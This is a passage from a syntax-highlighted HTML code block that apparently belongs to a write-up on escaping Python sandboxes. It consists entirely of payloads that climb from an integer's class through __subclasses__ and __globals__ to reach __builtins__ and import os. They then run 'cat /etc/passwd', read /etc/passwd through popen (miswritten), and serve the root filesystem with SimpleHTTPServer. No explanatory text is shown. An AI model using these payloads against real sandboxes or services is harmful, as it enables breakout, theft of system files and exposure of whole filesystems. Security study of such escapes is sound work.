class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cat /etc/passwd'</span>))</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'os'</span>).popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read())</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cd /; python -m SimpleHTTPServer'</span>))</span><br></pre></td></tr></table></figure>
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